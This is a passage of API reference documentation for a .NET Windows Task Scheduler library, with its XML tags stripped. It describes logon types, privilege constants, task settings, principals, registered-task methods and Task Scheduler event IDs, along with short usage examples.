triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the 